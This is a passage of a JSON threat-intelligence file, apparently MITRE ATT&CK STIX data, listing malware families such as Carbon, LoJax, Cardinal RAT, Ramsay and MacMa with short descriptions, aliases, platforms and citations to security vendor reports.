2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["GoldFinder"],"type":"malware","id":"malware--b7010785-699f-412f-ba49-524da6033c76","created":"2021-03-26T16:48:31.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0597","external_id":"S0597"},{"source_name":"GoldFinder","description":"(Citation: MSTIC NOBELIUM Mar 2021)"},{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Carbon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","type":"malware","created":"2019-01-29T19:36:02.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0335","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0335"},{"source_name":"Carbon","description":"(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)"},{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"},{"source_name":"Securelist Turla Oct 2018","url":"https://securelist.com/shedding-skin-turlas-fresh-faces/88069/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 04). Shedding Skin – Turla’s Fresh Faces. Retrieved November 7, 2018."}],"modified":"2021-04-25T15:46:06.354Z","name":"Carbon","description":"[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jean-Ian Boutin, ESET"],"x_mitre_aliases":["LoJax"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b865dded-0553-4962-a44b-6fe7863effed","type":"malware","created":"2019-07-02T12:58:09.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0397","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0397"},{"source_name":"LoJax","description":"(Citation: ESET LoJax Sept 2018)"},{"description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","source_name":"ESET LoJax Sept 2018"}],"modified":"2020-03-30T16:57:58.594Z","name":"LoJax","description":"[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:47:11.431Z","name":"Cardinal RAT","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Cardinal RAT"],"type":"malware","id":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","created":"2019-01-30T16:39:53.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0348","external_id":"S0348"},{"source_name":"Cardinal RAT","description":"(Citation: PaloAlto CardinalRat Apr 2017)"},{"source_name":"PaloAlto CardinalRat Apr 2017","description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:42:34.540Z","name":"DanBot","description":"[DanBot](https://attack.mitre.org/software/S1014) is a first-stage remote access Trojan written in C# that has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least 2018.(Citation: SecureWorks August 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["DanBot"],"type":"malware","id":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","created":"2022-06-03T14:35:23.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1014","external_id":"S1014"},{"source_name":"SecureWorks August 2019","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 ","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-26T19:55:54.853Z","name":"BISCUIT","description":"[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["BISCUIT"],"type":"malware","id":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","created":"2017-05-31T21:32:17.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0017","external_id":"S0017"},{"source_name":"BISCUIT","description":"(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)"},{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-21T19:42:40.612Z","name":"Calisto","description":"[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Cody Thomas, SpecterOps"],"x_mitre_aliases":["Calisto"],"type":"malware","id":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0274","external_id":"S0274"},{"source_name":"Calisto","description":"(Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)"},{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"},{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Pisloader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","type":"malware","created":"2017-05-31T21:33:12.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0124","external_id":"S0124"},{"source_name":"Pisloader","description":"(Citation: Palo Alto DNS Requests)"},{"url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","source_name":"Palo Alto DNS Requests"}],"modified":"2020-03-30T17:21:44.379Z","name":"Pisloader","description":"[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:27:23.911Z","name":"GoldenSpy","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) is a backdoor malware which has been packaged with legitimate tax preparation software. [GoldenSpy](https://attack.mitre.org/software/S0493) was discovered targeting organizations in China, being delivered with the \"Intelligent Tax\" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.(Citation: Trustwave GoldenSpy June 2020) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["GoldenSpy"],"type":"malware","id":"malware--b9704a7d-feef-4af9-8898-5280f1686326","created":"2020-07-23T13:50:10.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0493","external_id":"S0493"},{"source_name":"Trustwave GoldenSpy June 2020","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020.","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-05-06T20:40:17.000Z","name":"Gold Dragon","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Gold Dragon"],"type":"malware","id":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0249","external_id":"S0249"},{"source_name":"Gold Dragon","description":"(Citation: McAfee Gold Dragon)"},{"source_name":"McAfee Gold Dragon","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RGDoor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0258","external_id":"S0258"},{"source_name":"RGDoor","description":"(Citation: Unit 42 RGDoor Jan 2018)"},{"url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","source_name":"Unit 42 RGDoor Jan 2018"}],"modified":"2021-09-10T18:59:39.228Z","name":"RGDoor","description":"[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Harry Kim, CODEMIZE"],"x_mitre_aliases":["Ramsay"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","type":"malware","created":"2020-05-27T16:58:08.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0458","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0458"},{"source_name":"Ramsay","description":"(Citation: Eset Ramsay May 2020)"},{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-04-14T22:10:12.150Z","name":"Ramsay","description":"[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["FakeM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--bb3c1098-d654-4620-bf40-694386d28921","type":"malware","created":"2017-05-31T21:32:52.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0076","external_id":"S0076"},{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","source_name":"Scarlet Mimic Jan 2016"}],"modified":"2020-03-27T20:41:21.473Z","name":"FakeM","description":"[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:47:56.829Z","name":"Carberp","description":"[Carberp](https://attack.mitre.org/software/S0484) is a credential and information stealing malware that has been active since at least 2009. [Carberp](https://attack.mitre.org/software/S0484)'s source code was leaked online in 2013, and subsequently used as the foundation for the [Carbanak](https://attack.mitre.org/software/S0030) backdoor.(Citation: Trend Micro Carberp February 2014)(Citation: KasperskyCarbanak)(Citation: RSA Carbanak November 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Carberp"],"type":"malware","id":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","created":"2020-07-15T19:48:35.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0484","external_id":"S0484"},{"source_name":"KasperskyCarbanak","description":"Kaspersky Lab's Global Research & Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017.","url":"https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/"},{"source_name":"RSA Carbanak November 2017","description":"RSA. (2017, November 21). THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT. Retrieved July 29, 2020.","url":"https://www.rsa.com/content/dam/en/white-paper/the-carbanak-fin7-syndicate.pdf"},{"source_name":"Trend Micro Carberp February 2014","description":"Trend Micro. (2014, February 27). CARBERP. Retrieved July 29, 2020.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/carberp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-08T20:21:24.195Z","name":"FRAMESTING","description":"[FRAMESTING](https://attack.mitre.org/software/S1120) is a Python web shell that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to embed into an Ivanti Connect Secure Python package for command execution.(Citation: Mandiant Cutting Edge Part 2 January 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["FRAMESTING"],"type":"malware","id":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","created":"2024-03-08T20:20:05.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1120","external_id":"S1120"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["HARDRAIN"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--bd0536d7-b081-43ae-a773-cfb057c5b988","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0246","external_id":"S0246"},{"source_name":"HARDRAIN","description":"(Citation: US-CERT HARDRAIN March 2018)"},{"source_name":"US-CERT HARDRAIN March 2018","description":"US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"}],"modified":"2020-03-30T19:45:04.248Z","name":"HARDRAIN","description":"[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-13T14:10:23.936Z","name":"NKAbuse","description":"[NKAbuse](https://attack.mitre.org/software/S1107) is a Go-based, multi-platform malware abusing NKN (New Kind of Network) technology for data exchange between peers, functioning as a potent implant, and equipped with both flooder and backdoor capabilities.(Citation: NKAbuse BC)(Citation: NKAbuse SL)","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["NKAbuse"],"type":"malware","id":"malware--bd2ebee8-7c38-408a-871d-221012104222","created":"2024-02-08T15:41:33.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1107","external_id":"S1107"},{"source_name":"NKAbuse BC","description":"Bill Toulas. (2023, December 14). New NKAbuse malware abuses NKN blockchain for stealthy comms. Retrieved February 8, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-nkabuse-malware-abuses-nkn-blockchain-for-stealthy-comms/#google_vignette"},{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T19:34:38.763Z","name":"Pillowmint","description":"[Pillowmint](https://attack.mitre.org/software/S0517) is a point-of-sale malware used by [FIN7](https://attack.mitre.org/groups/G0046) designed to capture credit card information.(Citation: Trustwave Pillowmint June 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Pillowmint"],"type":"malware","id":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","created":"2020-07-27T14:06:29.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0517","external_id":"S0517"},{"source_name":"Trustwave Pillowmint June 2020","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020.","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-27T19:56:40.741Z","name":"TrailBlazer","description":"[TrailBlazer](https://attack.mitre.org/software/S0682) is a modular malware that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["TrailBlazer"],"type":"malware","id":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","created":"2022-02-08T15:38:55.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0682","external_id":"S0682"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-02T23:04:26.238Z","name":"Revenge RAT","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Revenge RAT"],"type":"malware","id":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","created":"2019-05-02T01:07:36.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0379","external_id":"S0379"},{"source_name":"Cofense RevengeRAT Feb 2019","description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/"},{"source_name":"Cylance Shaheen Nov 2018","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-07-26T17:48:10.580Z","name":"MacMa","description":"[MacMa](https://attack.mitre.org/software/S1016) is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. [MacMa](https://attack.mitre.org/software/S1016) has been observed in the wild since November 2021.(Citation: ESET DazzleSpy Jan 2022) [MacMa](https://attack.mitre.org/software/S1016) shares command and control and unique libraries with [MgBot](https://attack.mitre.org/software/S1146) and [Nightdoor](https://attack.mitre.org/software/S1147), indicating a relationship with the [Daggerfly](https://attack.mitre.org/groups/G1034) threat actor.(Citation: Symantec Daggerfly 2024)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation 